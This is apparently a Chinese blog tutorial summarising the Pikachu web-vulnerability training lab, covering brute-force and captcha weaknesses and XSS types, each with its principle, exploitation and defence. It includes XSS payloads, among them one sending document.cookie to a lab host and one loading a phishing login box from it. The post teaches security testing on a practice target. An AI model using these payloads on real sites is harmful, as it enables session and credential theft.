pikachu靶场总结(一)

最近看到好多人还在打这个靶机所以把以前写的总结放上来了,主要是皮卡丘靶场漏洞的原理,利用方式,防护方法简略总结,纯手敲记录,总结如果不到位请评论区留言!

一、暴力破解

1.基于表单的暴力破解

原理:由于没有对登录进行任何的限制,导致我们可以不断地通过字典来进行尝试破解密码,导致漏洞形成!

利用方式:通过bp抓包,然后使用爆破模块设置合适的payload进行尝试破解密码即可!

防护方法:采用合适的防爆破机制,例如验证码,人脸识别,短信验证等机制!

2.验证码(服务器端)

原理:验证码是我们非常常见的一种用来防止暴力破解的一种手段,但是并不是所有的验证码都具备防暴力破解的能力的,比如现在要说的这种情况就是,当我们的验证码被提交到后台进行验证以后,应该立刻被销毁掉,或者说应该马上过期,只能用一次,开发者尤其是使用PHP开发时,如果不进行专门的设置的话,是默认不过期的,会导致一码多用的情况产生,也就是说一个验证码可以一直使用,永不过期,这样就会形成漏洞!

利用方式:我们使用bp将包截断后,由于这个包所附带的正确验证码在后台永远都不会过期,所以我们用这个包进行爆破就可以成功绕过验证码,从而形成暴力破解攻击,造成危害!

防护方式:一定要将后台验证码进行验证过后的过期处理,这样才能有效防止暴力破解攻击!

3.验证码(基于用户的)

原理:这个和上面的正好相反,因为他是由于开发者只在前端页面做了验证码校验,并没有在后台进行验证码的核对,那么我们只要把前端填写验证码的这个过程绕过就可以实现爆破了!

利用方式:我们直接随便抓取一个包,从代理服务器向目标服务器发送请求包即可,这样就绕过了前端的验证码校验!

防护方式:不能简单地只通过前端来进行验证,一定要保证服务器后台也要进行验证,两道关卡缺一不可,否则对于一些黑客就是形同虚设!

4.token防绕过?

原理:一些开发者会在设置一个隐藏的token值,然后在用户每次提交数据时,将这个值带到session中提交到后台,后台对这个token值进行检查。token值每次提交都会发生改变,所以可以起到防止暴力破解的作用!
 

二、XSS

形成原因:往往是由于程序对输入输出的控制不够严格,导致攻击者精心构造的恶意脚本输出到前端时被浏览器当作有效代码执行导致的!

测试流程:
1.首先我们拿到一个站点后先找输入点,比如注册信息,留言板这种的,

2.不要急于拿xss的payload进行尝试,我们可以首先进行一些特殊字符串的尝试,比如>‘ 这种,然后观察返回的源码是否对这些特殊字符做了转义或者过滤,

3.找到唯一字符,然后观察前后语句是否可以构造脚本进行攻击(构造闭合)

4.最后我们通过精心构造脚本来对目标站点进行攻击。

1.反射型xss

原理:反射型xss又分为post和get两种类型,他们都是由于没有对特殊的字符没有进行过滤或者转义等处理,导致用户提交的恶意脚本被浏览器执行从而引发危害。无非是提交数据的方式不同,get型是可以通过url来进行提交数据,而post型是通过表单来提交!

利用方式:其中get型的xss最容易利用,小王将一个有xss漏洞的站点插入恶意脚本,并精心构造一个url发送给小张,诱骗小张点击这个url,一旦小张点击了这个url就会对小张造成xss攻击,比如窃取小张的cookie等!

防护方式:从开发者角度来说应该对用户的输入输出进行严格的过滤或者转义,从而避免产生xss漏洞;从用户的角度来说就是我们要提高防范意识,不要轻易地点击陌生的url,保护我们的信息安全!

2.存储型xss

存储型xss和上面所说的原理基本一致,只是攻击者构造的恶意脚本被提交到后台并且保存下来了,而且会将数据库里的内容再次输出到页面当中,这样就形成了漏洞,因为一旦攻击者将恶意脚本上传到服务器后台,其他访问这个页面的用户都会加载那段恶意代码,造成攻击,所以存储型xss漏洞的危害要更大!

3.DOM型xss

原理:首先我们需要知道DOM是个什么东西,这个就需要我们对前端有一个大致的了解,在前端中我们通过各种各样的标签来编写html代码,然后DOM其实又叫DOM树,简单理解就是前端人员通过js代码来操作html标签的这么一个接口,简单的从代码角度来呈现出来就是我们会在前端代码中看到通过js来操作一些数据等,这种方式不经过后台服务器,然后前端人员又没有对特殊字符进行控制,导致用户输入的一些恶意代码可能会被浏览器解析和执行,从而形成漏洞!

利用:其实涉及到当这个页面用get来进行传参的时候,他其实就成了一种手法不一样但是利用方法跟反射型xss一样的一种情况了,我们将链接发送给被害人,然后将里面的链接设计的足够具有诱惑性,诱导受害者进行点击,从而达成攻击!

1.1.利用XSS获取cookie

了解了前面的内容以后我们实战一下,如果我们把之前反射型的payload换成 <script>alert(document.cookie)</script> 的话,那我们弹窗就会得到一个cookie值,那我们现在搭建一个后台用来获取这个cookie而不是让他弹窗,这样当受害者点击我们的连接时,脚本就会被执行,受害者的cookie会就被提交到我们的后台,从而完成这次窃取cookie的攻击!举一个payload为例:

<script>document.location = 'http://192.168.6.141/pikachu/pkxss/xcookie/cookie.php?cookie=' + document.cookie;</script>

2.1.XSS钓鱼

存储型xss的站点,比如攻击者插入一个登录框弹出界面给用户,一旦用户输入账号密码之后,账号密码就会提交到攻击者的后台造成密码泄露

payload举例:<script src="http://192.168.6.141/pikachu/pkxss/xfish/fish.php"></script>

这个地址就是我们攻击者精心构造的一个登录框,每次有用户进入打开这个页面的时候,就会弹出一个对话框让你输入账号密码,如果用户的信息安全意识薄弱的话就中招了!这个登录框会把数据提交到攻击者的后台!

3.1xss获取键盘记录

跨域:首先我们先了解一个概念,就是跨域,跨域指的是跨越不同的域进行请求数据的操作。不同的域指的是两个域的协议,主机(主域名和子域名),端口号有不相同的就叫做不同域!

同源策略:浏览器会执行同源策略,也就是不允许我们通过js去操控不同域,如果硬要进行,需要管理员进行特殊的配置才可以!但是下面这些标签可以跨域加载资源!

< script src= "..." >//js加载到本地执行
<img src= "..."> //图片
<link href= "..."> //css
<iframe src= "..."> //任意资源

这里涉及到攻击者需要将自己的站点设置成允许其他人跨域请求他的站点才可以实现将读取受害者键盘记录的js代码加载到受害者访问的站点在本地执行

4.XSS盲打

关于这个的原理其实和我们上面的原理是一样的,都是没有对js代码做过滤和限制,只是表现形式不同罢了,一般是对后台管理员进行攻击,这种页面在我们输入内容后并不会在用户的前端页面显示内容,但是他提交到后台被存储下来以后当管理员登录后台时读取数据库之后代码被执行,导致管理员被×到也是很危险的,比如泄露管理员的cookie等信息,所以这个其实本质上还是存储型的XSS!

5.XSS绕过

绕过其实就是跟前面的情况有所不同了,前面我们说开发者几乎没有对我们的js代码进行转义或者过滤,所以我们可以很轻松的进行攻击,但是如果开发者做了一些安全措施来过滤我们的js代码,那么这样的话我们还能×到别人吗?

答案是有可能,因为如果开发者做的措施不够周到或者说全面,甚至使用了错误的防范措施,那么我们还是可以采取办法进行绕过开发者的防护的!

比如说如果开发者对我们的js标签进行了过滤,那我们可以尝试大小写,或者添加注释等或者说将代码转换成其他编码格式去尝试进行绕过,这种就需要我们对前端技术有深入的了解并且对目标足够熟悉,进而通过手段来绕过!

6.htmlspecialchars()

这个方法是用来把预定义的字符转换为html实体的,& ‘ “ < > 这些他都会做一个转换,但是他有三个参数:1.只编码双引号,2.单双引号都编码,3.两种引号都不编码 

这个时候漏洞就来了,如果开发者采用了第一种默认的或者第三种,那么就有可能会被一些攻击者绕过,造成xss漏洞!

防护:我们应该将参数设置为第二种才比较安全!

7.xss防范措施和原理,herf , js

过滤:针对业务需求,只让有需要的符号进行输入,其他的一律都不可以!

转义:所有输出到前端的数据都根据输出点进行转义,比如输出到html中进行html转义,输入到js里面进行js转义!

herf:在herf中进行输出,我们一是要对其进行html转义,二是只允许http,https !

比如我们可以这样构造payload:<a href=' javascript:alert(xni) '>  ,这样就不包含被转移的那些符号!

js:如果输出点是在js代码中,那么就不能用html转义,因为这样会不符合前端预期,而应该使用 \ 进行js转义!

举个栗子:<script>
    $ms='';
    if($ms.length != 0){
        if($ms == 'tmac'){
            $('#fromjs').text('tmac确实厉害,看那小眼神..')
        }else {
//            alert($ms);
            $('#fromjs').text('无论如何不要放弃心中所爱..')
        }

    }


</script>     payload:  </script><script>alert(xni)</script>

比如这段代码,我们就只需要将前面的<script>标签闭合掉,然后重新构造一个自己的标签即可!

所以xss针对不同的输出点进行的防范措施是不同的!这就需要我们多进行积累了,才能掌握更多的防护措施!


 

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值